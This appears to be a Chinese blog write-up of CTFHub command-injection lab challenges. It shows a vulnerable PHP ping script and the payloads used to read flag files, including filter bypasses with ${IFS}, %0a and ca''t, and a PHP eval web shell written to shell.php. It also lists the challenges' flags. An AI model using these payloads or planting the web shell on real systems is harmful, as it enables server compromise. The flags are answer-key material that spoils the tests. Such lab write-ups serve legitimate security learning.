• CTFHub


    命令注入:

    1.进入页面,测试127.0.0.1,

    关键代码:

    <?php
    $res = FALSE;
    if (isset($_GET['ip']) && $_GET['ip']) {// 传入ip,
        $cmd = "ping -c 4 {$_GET['ip']}";// 运行命令,可以拼接
        exec($cmd, $res);// 执行cmd,把结果输出到res
    }
    
    if ($res) {
        print_r($res);// 打印结果
    }
    show_source(__FILE__);
    ?>

    2.构造payload,

    127.0.0.1&ls

    3.查看php文件,发现无回显(其实是使用了base64编码),查看源代码,得到flag,

    127.0.0.1&cat 210541730730303.php
    127.0.0.1&cat 210541730730303.php | base64

    flag:

    ctfhub{5436702e5cde577d4e9ef18d9ad40349515cbf3a}

    或:

    构造一句话,用蚁剑连接,得到flag,

    127.0.0.1 &echo "<?php @eval($_POST['a']);?>" >> shell.php

    过滤cat:

    1.进入页面,测试命令,

    127.0.0.1&ls

    2.由题目可知,过滤了cat,命令如下,

    127.0.0.1&ca	 flag_21289172249170.php | base64
    
    127.0.0.1 &echo "<?php @eval($_POST['a']);?>" >> shell.php
    //上传一句话,用蚁剑连接

    flag:

    ctfhub{e187c21c72bd29ad7e816f1075fe1f815b51f18f}

    补充:

    cat 由第一行开始显示内容,并将所有内容输出
    
    tac 从最后一行倒序显示内容,并将所有内容输出
    
    more 根据窗口大小,一页一页的现实文件内容
    
    less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
    
    head 只显示头几行
    
    tail 只显示最后几行
    
    nl 类似于cat -n,显示时输出行号
    
    tailf 类似于tail -f

    过滤空格:

    1.进入页面,拼接命令,查看目录,

    127.0.0.1&ls

    2.由题目可知过滤了空格,考虑可以替换空格的字符,拼接命令,得到flag,

    IFS$9%09<><>、
    {,}、
    %20、
    ${IFS}

    命令(举例):

    127.0.0.1&cat${IFS}flag_102021121611290.php

    flag:

    ctfhub{0200e31e461e9a383bb302d32aef61607d5bd39d}

    过滤目录分隔符:

    1.进入页面,拼接命令,查看目录,

    2.由于过滤了目录分隔符,先进入该目录,查看目录,发现php文件,

    127.0.0.1&cd flag_is_here&&ls
    
    ;cd flag_is_here&&ls

    3.查看php文件,得到flag,

    ;cd flag_is_here&&cat flag_302352460411609.php

    flag:

    ctfhub{459a7b8b38544556938964f163d9b008304ca51d}

    过滤运算符:

    1.进入页面,过滤了一对符号,直接,

    ;ls

    2.发现php文件直接出来了,读取就完事儿了,

    ;cat flag_44482022017796.php

    127.0.0.1; base64 flag_297281061019145.php

    flag:

    ctfhub{e03cf17d8991d33a67fd3038db5fa53dd39ded1c}

    综合过滤练习:

    1.进入页面,根据过滤函数可知,过滤了如下关键词,

    |,&,;, ,/,cat,flag,ctfhub

    2.提交如下命令并抓包,抓包后发送到repeater模块,将&改为%0a,GO一下,发现flag_is_here目录,

    127.0.0.1&ls

    3.查看目录下的内容,发现flag.php文件,

    127.0.0.1%0als${IFS}fl*$ag_is_here

    4.查看文件,得到flag,

    127.0.0.1%0acd${IFS}fl$*ag_is_here%0amore${IFS}fl$*ag_154412024616707.php

    //其中cat用more替换,也可以使用ca''t

    flag:

    ctfhub{06ce07f172f0097961f14a73947c19db7577a52a}

    补充:

    在linux下,命令分隔符除了;还有%0a

    空格可以用${IFS}

    flag可以用正则f***或者fl$*ag_id_here这样替代。

    cat可以用more或者ca''t
  • 相关阅读:
    解决安装postgresql安装报An error occurred executing the Microsoft C++ runtime installer.问题
    使用U盘为龙芯笔记本安装操作系统
    年终复盘与展望(2017年)
    年终复盘与展望(2016年)
    Spark log4j 配置
    R语言码农的Scala学习心得
    在集群上运行Spark应用
    通过 Spark R 操作 Hive
    CentOS 6.7 hadoop free版本Spark 1.6安装与使用
    OS X Maven 安装与使用简介
  • 原文地址:https://www.cnblogs.com/3cH0-Nu1L/p/13822007.html
Copyright © 2020-2023  润新知